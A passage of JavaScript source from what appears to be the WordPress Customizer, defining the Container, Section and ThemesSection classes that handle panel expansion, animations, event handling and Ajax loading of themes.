	 *
	 * @since 4.9.0
	 *
	 * @param {string|number|Date} datetime - Date time or timestamp of the future date.
	 * @return {number} remainingTime - Remaining time in milliseconds.
	 */
	api.utils.getRemainingTime = function getRemainingTime( datetime ) {
		var millisecondsDivider = 1000, remainingTime, timestamp;
		if ( datetime instanceof Date ) {
			timestamp = datetime.getTime();
		} else if ( 'string' === typeof datetime ) {
			timestamp = ( new Date( datetime.replace( /-/g, '/' ) ) ).getTime();
		} else {
			timestamp = datetime;
		}

		remainingTime = timestamp - api.utils.getCurrentTimestamp();
		remainingTime = Math.ceil( remainingTime / millisecondsDivider );
		return remainingTime;
	};

	/**
	 * Return browser supported `transitionend` event name.
	 *
	 * @since 4.7.0
	 *
	 * @ignore
	 *
	 * @return {string|null} Normalized `transitionend` event name or null if CSS transitions are not supported.
	 */
	normalizedTransitionendEventName = (function () {
		var el, transitions, prop;
		el = document.createElement( 'div' );
		transitions = {
			'transition'      : 'transitionend',
			'OTransition'     : 'oTransitionEnd',
			'MozTransition'   : 'transitionend',
			'WebkitTransition': 'webkitTransitionEnd'
		};
		prop = _.find( _.keys( transitions ), function( prop ) {
			return ! _.isUndefined( el.style[ prop ] );
		} );
		if ( prop ) {
			return transitions[ prop ];
		} else {
			return null;
		}
	})();

	Container = api.Class.extend(/** @lends wp.customize~Container.prototype */{
		defaultActiveArguments: { duration: 'fast', completeCallback: $.noop },
		defaultExpandedArguments: { duration: 'fast', completeCallback: $.noop },
		containerType: 'container',
		defaults: {
			title: '',
			description: '',
			priority: 100,
			type: 'default',
			content: null,
			active: true,
			instanceNumber: null
		},

		/**
		 * Base class for Panel and Section.
		 *
		 * @constructs wp.customize~Container
		 * @augments   wp.customize.Class
		 *
		 * @since 4.1.0
		 *
		 * @borrows wp.customize~focus as focus
		 *
		 * @param {string}  id - The ID for the container.
		 * @param {Object}  options - Object containing one property: params.
		 * @param {string}  options.title - Title shown when panel is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the panel.
		 * @param {number}  [options.priority=100] - The sort priority for the panel.
		 * @param {string}  [options.templateId] - Template selector for container.
		 * @param {string}  [options.type=default] - The type of the panel. See wp.customize.panelConstructor.
		 * @param {string}  [options.content] - The markup to be used for the panel container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the panel is active or not.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var container = this;
			container.id = id;

			if ( ! Container.instanceCounter ) {
				Container.instanceCounter = 0;
			}
			Container.instanceCounter++;

			$.extend( container, {
				params: _.defaults(
					options.params || options, // Passing the params is deprecated.
					container.defaults
				)
			} );
			if ( ! container.params.instanceNumber ) {
				container.params.instanceNumber = Container.instanceCounter;
			}
			container.notifications = new api.Notifications();
			container.templateSelector = container.params.templateId || 'customize-' + container.containerType + '-' + container.params.type;
			container.container = $( container.params.content );
			if ( 0 === container.container.length ) {
				container.container = $( container.getContainer() );
			}
			container.headContainer = container.container;
			container.contentContainer = container.getContent();
			container.container = container.container.add( container.contentContainer );

			container.deferred = {
				embedded: new $.Deferred()
			};
			container.priority = new api.Value();
			container.active = new api.Value();
			container.activeArgumentsQueue = [];
			container.expanded = new api.Value();
			container.expandedArgumentsQueue = [];

			container.active.bind( function ( active ) {
				var args = container.activeArgumentsQueue.shift();
				args = $.extend( {}, container.defaultActiveArguments, args );
				active = ( active && container.isContextuallyActive() );
				container.onChangeActive( active, args );
			});
			container.expanded.bind( function ( expanded ) {
				var args = container.expandedArgumentsQueue.shift();
				args = $.extend( {}, container.defaultExpandedArguments, args );
				container.onChangeExpanded( expanded, args );
			});

			container.deferred.embedded.done( function () {
				container.setupNotifications();
				container.attachEvents();
			});

			api.utils.bubbleChildValueChanges( container, [ 'priority', 'active' ] );

			container.priority.set( container.params.priority );
			container.active.set( container.params.active );
			container.expanded.set( false );
		},

		/**
		 * Get the element that will contain the notifications.
		 *
		 * @since 4.9.0
		 * @return {jQuery} Notification container element.
		 */
		getNotificationsContainerElement: function() {
			var container = this;
			return container.contentContainer.find( '.customize-control-notifications-container:first' );
		},

		/**
		 * Set up notifications.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		setupNotifications: function() {
			var container = this, renderNotifications;
			container.notifications.container = container.getNotificationsContainerElement();

			// Render notifications when they change and when the construct is expanded.
			renderNotifications = function() {
				if ( container.expanded.get() ) {
					container.notifications.render();
				}
			};
			container.expanded.bind( renderNotifications );
			renderNotifications();
			container.notifications.bind( 'change', _.debounce( renderNotifications ) );
		},

		/**
		 * @since 4.1.0
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Get the child models associated with this parent, sorting them by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @param {string} parentType
		 * @param {string} childType
		 * @return {Array}
		 */
		_children: function ( parentType, childType ) {
			var parent = this,
				children = [];
			api[ childType ].each( function ( child ) {
				if ( child[ parentType ].get() === parent.id ) {
					children.push( child );
				}
			} );
			children.sort( api.utils.prioritySort );
			return children;
		},

		/**
		 * To override by subclass, to return whether the container has active children.
		 *
		 * @since 4.1.0
		 *
		 * @abstract
		 */
		isContextuallyActive: function () {
			throw new Error( 'Container.isContextuallyActive() must be overridden in a subclass.' );
		},

		/**
		 * Active state change handler.
		 *
		 * Shows the container if it is active, hides it if not.
		 *
		 * To override by subclass, update the container's UI to reflect the provided active state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}  active - The active state to transiution to.
		 * @param {Object}   [args] - Args.
		 * @param {Object}   [args.duration] - The duration for the slideUp/slideDown animation.
		 * @param {boolean}  [args.unchanged] - Whether the state is already known to not be changed, and so short-circuit with calling completeCallback early.
		 * @param {Function} [args.completeCallback] - Function to call when the slideUp/slideDown has completed.
		 */
		onChangeActive: function( active, args ) {
			var construct = this,
				headContainer = construct.headContainer,
				duration, expandedOtherPanel;

			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			duration = ( 'resolved' === api.previewer.deferred.active.state() ? args.duration : 0 );

			if ( construct.extended( api.Panel ) ) {
				// If this is a panel is not currently expanded but another panel is expanded, do not animate.
				api.panel.each(function ( panel ) {
					if ( panel !== construct && panel.expanded() ) {
						expandedOtherPanel = panel;
						duration = 0;
					}
				});

				// Collapse any expanded sections inside of this panel first before deactivating.
				if ( ! active ) {
					_.each( construct.sections(), function( section ) {
						section.collapse( { duration: 0 } );
					} );
				}
			}

			if ( ! $.contains( document, headContainer.get( 0 ) ) ) {
				// If the element is not in the DOM, then jQuery.fn.slideUp() does nothing.
				// In this case, a hard toggle is required instead.
				headContainer.toggle( active );
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			} else if ( active ) {
				headContainer.slideDown( duration, args.completeCallback );
			} else {
				if ( construct.expanded() ) {
					construct.collapse({
						duration: duration,
						completeCallback: function() {
							headContainer.slideUp( duration, args.completeCallback );
						}
					});
				} else {
					headContainer.slideUp( duration, args.completeCallback );
				}
			}
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {boolean} active
		 * @param {Object}  [params]
		 * @return {boolean} False if state already applied.
		 */
		_toggleActive: function ( active, params ) {
			var self = this;
			params = params || {};
			if ( ( active && this.active.get() ) || ( ! active && ! this.active.get() ) ) {
				params.unchanged = true;
				self.onChangeActive( self.active.get(), params );
				return false;
			} else {
				params.unchanged = false;
				this.activeArgumentsQueue.push( params );
				this.active.set( active );
				return true;
			}
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already active.
		 */
		activate: function ( params ) {
			return this._toggleActive( true, params );
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already inactive.
		 */
		deactivate: function ( params ) {
			return this._toggleActive( false, params );
		},

		/**
		 * To override by subclass, update the container's UI to reflect the provided active state.
		 * @abstract
		 */
		onChangeExpanded: function () {
			throw new Error( 'Must override with subclass.' );
		},

		/**
		 * Handle the toggle logic for expand/collapse.
		 *
		 * @param {boolean}  expanded - The new state to apply.
		 * @param {Object}   [params] - Object containing options for expand/collapse.
		 * @param {Function} [params.completeCallback] - Function to call when expansion/collapse is complete.
		 * @return {boolean} False if state already applied or active state is false.
		 */
		_toggleExpanded: function( expanded, params ) {
			var instance = this, previousCompleteCallback;
			params = params || {};
			previousCompleteCallback = params.completeCallback;

			// Short-circuit expand() if the instance is not active.
			if ( expanded && ! instance.active() ) {
				return false;
			}

			api.state( 'paneVisible' ).set( true );
			params.completeCallback = function() {
				if ( previousCompleteCallback ) {
					previousCompleteCallback.apply( instance, arguments );
				}
				if ( expanded ) {
					instance.container.trigger( 'expanded' );
				} else {
					instance.container.trigger( 'collapsed' );
				}
			};
			if ( ( expanded && instance.expanded.get() ) || ( ! expanded && ! instance.expanded.get() ) ) {
				params.unchanged = true;
				instance.onChangeExpanded( instance.expanded.get(), params );
				return false;
			} else {
				params.unchanged = false;
				instance.expandedArgumentsQueue.push( params );
				instance.expanded.set( expanded );
				return true;
			}
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already expanded or if inactive.
		 */
		expand: function ( params ) {
			return this._toggleExpanded( true, params );
		},

		/**
		 * @param {Object} [params]
		 * @return {boolean} False if already collapsed.
		 */
		collapse: function ( params ) {
			return this._toggleExpanded( false, params );
		},

		/**
		 * Animate container state change if transitions are supported by the browser.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {function} completeCallback Function to be called after transition is completed.
		 * @return {void}
		 */
		_animateChangeExpanded: function( completeCallback ) {
			// Return if CSS transitions are not supported or if reduced motion is enabled.
			if ( ! normalizedTransitionendEventName || isReducedMotion ) {
				// Schedule the callback until the next tick to prevent focus loss.
				_.defer( function () {
					if ( completeCallback ) {
						completeCallback();
					}
				} );
				return;
			}

			var construct = this,
				content = construct.contentContainer,
				overlay = content.closest( '.wp-full-overlay' ),
				elements, transitionEndCallback, transitionParentPane;

			// Determine set of elements that are affected by the animation.
			elements = overlay.add( content );

			if ( ! construct.panel || '' === construct.panel() ) {
				transitionParentPane = true;
			} else if ( api.panel( construct.panel() ).contentContainer.hasClass( 'skip-transition' ) ) {
				transitionParentPane = true;
			} else {
				transitionParentPane = false;
			}
			if ( transitionParentPane ) {
				elements = elements.add( '#customize-info, .customize-pane-parent' );
			}

			// Handle `transitionEnd` event.
			transitionEndCallback = function( e ) {
				if ( 2 !== e.eventPhase || ! $( e.target ).is( content ) ) {
					return;
				}
				content.off( normalizedTransitionendEventName, transitionEndCallback );
				elements.removeClass( 'busy' );
				if ( completeCallback ) {
					completeCallback();
				}
			};
			content.on( normalizedTransitionendEventName, transitionEndCallback );
			elements.addClass( 'busy' );

			// Prevent screen flicker when pane has been scrolled before expanding.
			_.defer( function() {
				var container = content.closest( '.wp-full-overlay-sidebar-content' ),
					currentScrollTop = container.scrollTop(),
					previousScrollTop = content.data( 'previous-scrollTop' ) || 0,
					expanded = construct.expanded();

				if ( expanded && 0 < currentScrollTop ) {
					content.css( 'top', currentScrollTop + 'px' );
					content.data( 'previous-scrollTop', currentScrollTop );
				} else if ( ! expanded && 0 < currentScrollTop + previousScrollTop ) {
					content.css( 'top', previousScrollTop - currentScrollTop + 'px' );
					container.scrollTop( previousScrollTop );
				}
			} );
		},

		/*
		 * is documented using @borrows in the constructor.
		 */
		focus: focus,

		/**
		 * Return the container html, generated from its JS template, if it exists.
		 *
		 * @since 4.3.0
		 */
		getContainer: function () {
			var template,
				container = this;

			if ( 0 !== $( '#tmpl-' + container.templateSelector ).length ) {
				template = wp.template( container.templateSelector );
			} else {
				template = wp.template( 'customize-' + container.containerType + '-default' );
			}
			if ( template && container.container ) {
				return template( _.extend(
					{ id: container.id },
					container.params
				) ).toString().trim();
			}

			return '<li></li>';
		},

		/**
		 * Find content element which is displayed when the section is expanded.
		 *
		 * After a construct is initialized, the return value will be available via the `contentContainer` property.
		 * By default the element will be related it to the parent container with `aria-owns` and detached.
		 * Custom panels and sections (such as the `NewMenuSection`) that do not have a sliding pane should
		 * just return the content element without needing to add the `aria-owns` element or detach it from
		 * the container. Such non-sliding pane custom sections also need to override the `onChangeExpanded`
		 * method to handle animating the panel/section into and out of view.
		 *
		 * @since 4.7.0
		 * @access public
		 *
		 * @return {jQuery} Detached content element.
		 */
		getContent: function() {
			var construct = this,
				container = construct.container,
				content = container.find( '.accordion-section-content, .control-panel-content' ).first(),
				contentId = 'sub-' + container.attr( 'id' ),
				ownedElements = contentId,
				alreadyOwnedElements = container.attr( 'aria-owns' );

			if ( alreadyOwnedElements ) {
				ownedElements = ownedElements + ' ' + alreadyOwnedElements;
			}
			container.attr( 'aria-owns', ownedElements );

			return content.detach().attr( {
				'id': contentId,
				'class': 'customize-pane-child ' + content.attr( 'class' ) + ' ' + container.attr( 'class' )
			} );
		}
	});

	api.Section = Container.extend(/** @lends wp.customize.Section.prototype */{
		containerType: 'section',
		containerParent: '#customize-theme-controls',
		containerPaneParent: '.customize-pane-parent',
		defaults: {
			title: '',
			description: '',
			priority: 100,
			type: 'default',
			content: null,
			active: true,
			instanceNumber: null,
			panel: null,
			customizeAction: ''
		},

		/**
		 * @constructs wp.customize.Section
		 * @augments   wp.customize~Container
		 *
		 * @since 4.1.0
		 *
		 * @param {string}  id - The ID for the section.
		 * @param {Object}  options - Options.
		 * @param {string}  options.title - Title shown when section is collapsed and expanded.
		 * @param {string}  [options.description] - Description shown at the top of the section.
		 * @param {number}  [options.priority=100] - The sort priority for the section.
		 * @param {string}  [options.type=default] - The type of the section. See wp.customize.sectionConstructor.
		 * @param {string}  [options.content] - The markup to be used for the section container. If empty, a JS template is used.
		 * @param {boolean} [options.active=true] - Whether the section is active or not.
		 * @param {string}  options.panel - The ID for the panel this section is associated with.
		 * @param {string}  [options.customizeAction] - Additional context information shown before the section title when expanded.
		 * @param {Object}  [options.params] - Deprecated wrapper for the above properties.
		 */
		initialize: function ( id, options ) {
			var section = this, params;
			params = options.params || options;

			// Look up the type if one was not supplied.
			if ( ! params.type ) {
				_.find( api.sectionConstructor, function( Constructor, type ) {
					if ( Constructor === section.constructor ) {
						params.type = type;
						return true;
					}
					return false;
				} );
			}

			Container.prototype.initialize.call( section, id, params );

			section.id = id;
			section.panel = new api.Value();
			section.panel.bind( function ( id ) {
				$( section.headContainer ).toggleClass( 'control-subsection', !! id );
			});
			section.panel.set( section.params.panel || '' );
			api.utils.bubbleChildValueChanges( section, [ 'panel' ] );

			section.embed();
			section.deferred.embedded.done( function () {
				section.ready();
			});
		},

		/**
		 * Embed the container in the DOM when any parent panel is ready.
		 *
		 * @since 4.1.0
		 */
		embed: function () {
			var inject,
				section = this;

			section.containerParent = api.ensure( section.containerParent );

			// Watch for changes to the panel state.
			inject = function ( panelId ) {
				var parentContainer;
				if ( panelId ) {
					// The panel has been supplied, so wait until the panel object is registered.
					api.panel( panelId, function ( panel ) {
						// The panel has been registered, wait for it to become ready/initialized.
						panel.deferred.embedded.done( function () {
							parentContainer = panel.contentContainer;
							if ( ! section.headContainer.parent().is( parentContainer ) ) {
								parentContainer.append( section.headContainer );
							}
							if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
								section.containerParent.append( section.contentContainer );
							}
							section.deferred.embedded.resolve();
						});
					} );
				} else {
					// There is no panel, so embed the section in the root of the customizer.
					parentContainer = api.ensure( section.containerPaneParent );
					if ( ! section.headContainer.parent().is( parentContainer ) ) {
						parentContainer.append( section.headContainer );
					}
					if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
						section.containerParent.append( section.contentContainer );
					}
					section.deferred.embedded.resolve();
				}
			};
			section.panel.bind( inject );
			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
		},

		/**
		 * Add behaviors for the accordion section.
		 *
		 * @since 4.1.0
		 */
		attachEvents: function () {
			var meta, content, section = this;

			if ( section.container.hasClass( 'cannot-expand' ) ) {
				return;
			}

			// Expand/Collapse accordion sections on click.
			section.container.find( '.accordion-section-title, .customize-section-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.

				if ( section.expanded() ) {
					section.collapse();
				} else {
					section.expand();
				}
			});

			// This is very similar to what is found for api.Panel.attachEvents().
			section.container.find( '.customize-section-title .customize-help-toggle' ).on( 'click', function() {

				meta = section.container.find( '.section-meta' );
				if ( meta.hasClass( 'cannot-expand' ) ) {
					return;
				}
				content = meta.find( '.customize-section-description:first' );
				content.toggleClass( 'open' );
				content.slideToggle( section.defaultExpandedArguments.duration, function() {
					content.trigger( 'toggled' );
				} );
				$( this ).attr( 'aria-expanded', function( i, attr ) {
					return 'true' === attr ? 'false' : 'true';
				});
			});
		},

		/**
		 * Return whether this section has any active controls.
		 *
		 * @since 4.1.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function () {
			var section = this,
				controls = section.controls(),
				activeCount = 0;
			_( controls ).each( function ( control ) {
				if ( control.active() ) {
					activeCount += 1;
				}
			} );
			return ( activeCount !== 0 );
		},

		/**
		 * Get the controls that are associated with this section, sorted by their priority Value.
		 *
		 * @since 4.1.0
		 *
		 * @return {Array}
		 */
		controls: function () {
			return this._children( 'section', 'control' );
		},

		/**
		 * Update UI to reflect expanded state.
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean} expanded
		 * @param {Object}  args
		 */
		onChangeExpanded: function ( expanded, args ) {
			var section = this,
				container = section.headContainer.closest( '.wp-full-overlay-sidebar-content' ),
				content = section.contentContainer,
				overlay = section.headContainer.closest( '.wp-full-overlay' ),
				backBtn = content.find( '.customize-section-back' ),
				sectionTitle = section.headContainer.find( '.accordion-section-title' ).first(),
				expand, panel;

			if ( expanded && ! content.hasClass( 'open' ) ) {

				if ( args.unchanged ) {
					expand = args.completeCallback;
				} else {
					expand = function() {
						section._animateChangeExpanded( function() {
							sectionTitle.attr( 'tabindex', '-1' );
							backBtn.attr( 'tabindex', '0' );

							backBtn.trigger( 'focus' );
							content.css( 'top', '' );
							container.scrollTop( 0 );

							if ( args.completeCallback ) {
								args.completeCallback();
							}
						} );

						content.addClass( 'open' );
						overlay.addClass( 'section-open' );
						api.state( 'expandedSection' ).set( section );
					}.bind( this );
				}

				if ( ! args.allowMultiple ) {
					api.section.each( function ( otherSection ) {
						if ( otherSection !== section ) {
							otherSection.collapse( { duration: args.duration } );
						}
					});
				}

				if ( section.panel() ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					if ( ! args.allowMultiple ) {
						api.panel.each( function( panel ) {
							panel.collapse();
						});
					}
					expand();
				}

			} else if ( ! expanded && content.hasClass( 'open' ) ) {
				if ( section.panel() ) {
					panel = api.panel( section.panel() );
					if ( panel.contentContainer.hasClass( 'skip-transition' ) ) {
						panel.collapse();
					}
				}
				section._animateChangeExpanded( function() {
					backBtn.attr( 'tabindex', '-1' );
					sectionTitle.attr( 'tabindex', '0' );

					sectionTitle.trigger( 'focus' );
					content.css( 'top', '' );

					if ( args.completeCallback ) {
						args.completeCallback();
					}
				} );

				content.removeClass( 'open' );
				overlay.removeClass( 'section-open' );
				if ( section === api.state( 'expandedSection' ).get() ) {
					api.state( 'expandedSection' ).set( false );
				}

			} else {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		}
	});

	api.ThemesSection = api.Section.extend(/** @lends wp.customize.ThemesSection.prototype */{
		currentTheme: '',
		overlay: '',
		template: '',
		screenshotQueue: null,
		$window: null,
		$body: null,
		loaded: 0,
		loading: false,
		fullyLoaded: false,
		term: '',
		tags: '',
		nextTerm: '',
		nextTags: '',
		filtersHeight: 0,
		headerContainer: null,
		updateCountDebounced: null,

		/**
		 * wp.customize.ThemesSection
		 *
		 * Custom section for themes that loads themes by category, and also
		 * handles the theme-details view rendering and navigation.
		 *
		 * @constructs wp.customize.ThemesSection
		 * @augments   wp.customize.Section
		 *
		 * @since 4.9.0
		 *
		 * @param {string} id - ID.
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( id, options ) {
			var section = this;
			section.headerContainer = $();
			section.$window = $( window );
			section.$body = $( document.body );
			api.Section.prototype.initialize.call( section, id, options );
			section.updateCountDebounced = _.debounce( section.updateCount, 500 );
		},

		/**
		 * Embed the section in the DOM when the themes panel is ready.
		 *
		 * Insert the section before the themes container. Assume that a themes section is within a panel, but not necessarily the themes panel.
		 *
		 * @since 4.9.0
		 */
		embed: function() {
			var inject,
				section = this;

			// Watch for changes to the panel state.
			inject = function( panelId ) {
				var parentContainer;
				api.panel( panelId, function( panel ) {

					// The panel has been registered, wait for it to become ready/initialized.
					panel.deferred.embedded.done( function() {
						parentContainer = panel.contentContainer;
						if ( ! section.headContainer.parent().is( parentContainer ) ) {
							parentContainer.find( '.customize-themes-full-container-container' ).before( section.headContainer );
						}
						if ( ! section.contentContainer.parent().is( section.headContainer ) ) {
							section.containerParent.append( section.contentContainer );
						}
						section.deferred.embedded.resolve();
					});
				} );
			};
			section.panel.bind( inject );
			inject( section.panel.get() ); // Since a section may never get a panel, assume that it won't ever get one.
		},

		/**
		 * Set up.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		ready: function() {
			var section = this;
			section.overlay = section.container.find( '.theme-overlay' );
			section.template = wp.template( 'customize-themes-details-view' );

			// Bind global keyboard events.
			section.container.on( 'keydown', function( event ) {
				if ( ! section.overlay.find( '.theme-wrap' ).is( ':visible' ) ) {
					return;
				}

				// Pressing the right arrow key fires a theme:next event.
				if ( 39 === event.keyCode ) {
					section.nextTheme();
				}

				// Pressing the left arrow key fires a theme:previous event.
				if ( 37 === event.keyCode ) {
					section.previousTheme();
				}

				// Pressing the escape key fires a theme:collapse event.
				if ( 27 === event.keyCode ) {
					if ( section.$body.hasClass( 'modal-open' ) ) {

						// Escape from the details modal.
						section.closeDetails();
					} else {

						// Escape from the inifinite scroll list.
						section.headerContainer.find( '.customize-themes-section-title' ).focus();
					}
					event.stopPropagation(); // Prevent section from being collapsed.
				}
			});

			section.renderScreenshots = _.throttle( section.renderScreenshots, 100 );

			_.bindAll( section, 'renderScreenshots', 'loadMore', 'checkTerm', 'filtersChecked' );
		},

		/**
		 * Override Section.isContextuallyActive method.
		 *
		 * Ignore the active states' of the contained theme controls, and just
		 * use the section's own active state instead. This prevents empty search
		 * results for theme sections from causing the section to become inactive.
		 *
		 * @since 4.2.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function () {
			return this.active();
		},

		/**
		 * Attach events.
		 *
		 * @since 4.2.0
		 *
		 * @return {void}
		 */
		attachEvents: function () {
			var section = this, debounced;

			// Expand/Collapse accordion sections on click.
			section.container.find( '.customize-section-back' ).on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault(); // Keep this AFTER the key filter above.
				section.collapse();
			});

			section.headerContainer = $( '#accordion-section-' + section.id );

			// Expand section/panel. Only collapse when opening another section.
			section.headerContainer.on( 'click', '.customize-themes-section-title', function() {

				// Toggle accordion filters under section headers.
				if ( section.headerContainer.find( '.filter-details' ).length ) {
					section.headerContainer.find( '.customize-themes-section-title' )
						.toggleClass( 'details-open' )
						.attr( 'aria-expanded', function( i, attr ) {
							return 'true' === attr ? 'false' : 'true';
						});
					section.headerContainer.find( '.filter-details' ).slideToggle( 180 );
				}

				// Open the section.
				if ( ! section.expanded() ) {
					section.expand();
				}
			});

			// Preview installed themes.
			section.container.on( 'click', '.theme-actions .preview-theme', function() {
				api.panel( 'themes' ).loadThemePreview( $( this ).data( 'slug' ) );
			});

			// Theme navigation in details view.
			section.container.on( 'click', '.left', function() {
				section.previousTheme();
			});

			section.container.on( 'click', '.right', function() {
				section.nextTheme();
			});

			section.container.on( 'click', '.theme-backdrop, .close', function() {
				section.closeDetails();
			});

			if ( 'local' === section.params.filter_type ) {

				// Filter-search all theme objects loaded in the section.
				section.container.on( 'input', '.wp-filter-search-themes', function( event ) {
					section.filterSearch( event.currentTarget.value );
				});

			} else if ( 'remote' === section.params.filter_type ) {

				// Event listeners for remote queries with user-entered terms.
				// Search terms.
				debounced = _.debounce( section.checkTerm, 500 ); // Wait until there is no input for 500 milliseconds to initiate a search.
				section.contentContainer.on( 'input', '.wp-filter-search', function() {
					if ( ! api.panel( 'themes' ).expanded() ) {
						return;
					}
					debounced( section );
					if ( ! section.expanded() ) {
						section.expand();
					}
				});

				// Feature filters.
				section.contentContainer.on( 'click', '.filter-group input', function() {
					section.filtersChecked();
					section.checkTerm( section );
				});
			}

			// Toggle feature filters.
			section.contentContainer.on( 'click', '.feature-filter-toggle', function( e ) {
				var $themeContainer = $( '.customize-themes-full-container' ),
					$filterToggle = $( e.currentTarget );
				section.filtersHeight = $filterToggle.parent().next( '.filter-drawer' ).height();

				if ( 0 < $themeContainer.scrollTop() ) {
					$themeContainer.animate( { scrollTop: 0 }, 400 );

					if ( $filterToggle.hasClass( 'open' ) ) {
						return;
					}
				}

				$filterToggle
					.toggleClass( 'open' )
					.attr( 'aria-expanded', function( i, attr ) {
						return 'true' === attr ? 'false' : 'true';
					})
					.parent().next( '.filter-drawer' ).slideToggle( 180, 'linear' );

				if ( $filterToggle.hasClass( 'open' ) ) {
					var marginOffset = 1018 < window.innerWidth ? 50 : 76;

					section.contentContainer.find( '.themes' ).css( 'margin-top', section.filtersHeight + marginOffset );
				} else {
					section.contentContainer.find( '.themes' ).css( 'margin-top', 0 );
				}
			});

			// Setup section cross-linking.
			section.contentContainer.on( 'click', '.no-themes-local .search-dotorg-themes', function() {
				api.section( 'wporg_themes' ).focus();
			});

			function updateSelectedState() {
				var el = section.headerContainer.find( '.customize-themes-section-title' );
				el.toggleClass( 'selected', section.expanded() );
				el.attr( 'aria-expanded', section.expanded() ? 'true' : 'false' );
				if ( ! section.expanded() ) {
					el.removeClass( 'details-open' );
				}
			}
			section.expanded.bind( updateSelectedState );
			updateSelectedState();

			// Move section controls to the themes area.
			api.bind( 'ready', function () {
				section.contentContainer = section.container.find( '.customize-themes-section' );
				section.contentContainer.appendTo( $( '.customize-themes-full-container' ) );
				section.container.add( section.headerContainer );
			});
		},

		/**
		 * Update UI to reflect expanded state
		 *
		 * @since 4.2.0
		 *
		 * @param {boolean}  expanded
		 * @param {Object}   args
		 * @param {boolean}  args.unchanged
		 * @param {Function} args.completeCallback
		 * @return {void}
		 */
		onChangeExpanded: function ( expanded, args ) {

			// Note: there is a second argument 'args' passed.
			var section = this,
				container = section.contentContainer.closest( '.customize-themes-full-container' );

			// Immediately call the complete callback if there were no changes.
			if ( args.unchanged ) {
				if ( args.completeCallback ) {
					args.completeCallback();
				}
				return;
			}

			function expand() {

				// Try to load controls if none are loaded yet.
				if ( 0 === section.loaded ) {
					section.loadThemes();
				}

				// Collapse any sibling sections/panels.
				api.section.each( function ( otherSection ) {
					var searchTerm;

					if ( otherSection !== section ) {

						// Try to sync the current search term to the new section.
						if ( 'themes' === otherSection.params.type ) {
							searchTerm = otherSection.contentContainer.find( '.wp-filter-search' ).val();
							section.contentContainer.find( '.wp-filter-search' ).val( searchTerm );

							// Directly initialize an empty remote search to avoid a race condition.
							if ( '' === searchTerm && '' !== section.term && 'local' !== section.params.filter_type ) {
								section.term = '';
								section.initializeNewQuery( section.term, section.tags );
							} else {
								if ( 'remote' === section.params.filter_type ) {
									section.checkTerm( section );
								} else if ( 'local' === section.params.filter_type ) {
									section.filterSearch( searchTerm );
								}
							}
							otherSection.collapse( { duration: args.duration } );
						}
					}
				});

				section.contentContainer.addClass( 'current-section' );
				container.scrollTop();

				container.on( 'scroll', _.throttle( section.renderScreenshots, 300 ) );
				container.on( 'scroll', _.throttle( section.loadMore, 300 ) );

				if ( args.completeCallback ) {
					args.completeCallback();
				}
				section.updateCount(); // Show this section's count.
			}

			if ( expanded ) {
				if ( section.panel() && api.panel.has( section.panel() ) ) {
					api.panel( section.panel() ).expand({
						duration: args.duration,
						completeCallback: expand
					});
				} else {
					expand();
				}
			} else {
				section.contentContainer.removeClass( 'current-section' );

				// Always hide, even if they don't exist or are already hidden.
				section.headerContainer.find( '.filter-details' ).slideUp( 180 );

				container.off( 'scroll' );

				if ( args.completeCallback ) {
					args.completeCallback();
				}
			}
		},

		/**
		 * Return the section's content element without detaching from the parent.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery}
		 */
		getContent: function() {
			return this.container.find( '.control-section-content' );
		},

		/**
		 * Load theme data via Ajax and add themes to the section as controls.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		loadThemes: function() {
			var section = this, params, page, request;

			if ( section.loading ) {
				return; // We're already loading a batch of themes.
			}

			// Parameters for every API query. Additional params are set in PHP.
			page = Math.ceil( section.loaded / 100 ) + 1;
			params = {
				'nonce': api.settings.nonce.switch_themes,
				'wp_customize': 'on',
				'theme_action': section.params.action,
				'customized_theme': api.settings.theme.stylesheet,
				'page': page
			};

			// Add fields for remote filtering.
			if ( 'remote' === section.params.filter_type ) {
				params.search = section.term;
				params.tags = section.tags;
			}

			// Load themes.
			section.headContainer.closest( '.wp-full-overlay' ).addClass( 'loading' );
			section.loading = true;
			section.container.find( '.no-themes' ).hide();
			request = wp.ajax.post( 'customize_load_themes', params );
			request.done(function( data ) {
				var themes = data.themes;

				// Stop and try again if the term changed while loading.
				if ( '' !== section.nextTerm || '' !== section.nextTags ) {
					if ( section.nextTerm ) {
						section.term = section.nextTerm;
					}
					if ( section.nextTags ) {
						section.tags = section.nextTags;
					}
					section.nextTerm = '';
					section.nextTags = '';
					section.loading = false;
					section.loadThemes();
					return;
				}

				if ( 0 !== themes.length ) {

					section.loadControls( themes, page );

					if ( 1 === page ) {

						// Pre-load the first 3 theme screenshots.
						_.each( section.controls().slice( 0, 3 ), function( control ) {
							var img, src = control.params.theme.screenshot[0];
							if ( src ) {
